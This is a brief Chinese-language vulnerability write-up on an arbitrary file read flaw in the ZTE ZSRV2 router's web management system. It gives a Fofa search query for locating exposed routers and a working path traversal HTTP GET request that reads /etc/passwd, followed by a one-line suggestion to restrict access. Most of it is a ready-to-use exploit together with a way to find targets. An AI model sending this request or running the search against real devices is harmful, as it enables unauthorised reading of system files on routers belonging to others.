中兴ZSRV2路由器 任意文件读取

0x01 漏洞描述：

中兴 ZSRV2路由器 存在文件读取漏洞。

资产图

0x02 搜索语句：

Fofa：title="ZSRV2路由器Web管理系统"

0x03 漏洞复现：

GET /css//../../../../../../../../etc/passwd HTTP/1.1
Host: your-ip

 

0x04 修复建议：

关闭互联网暴露面或接口设置访问权限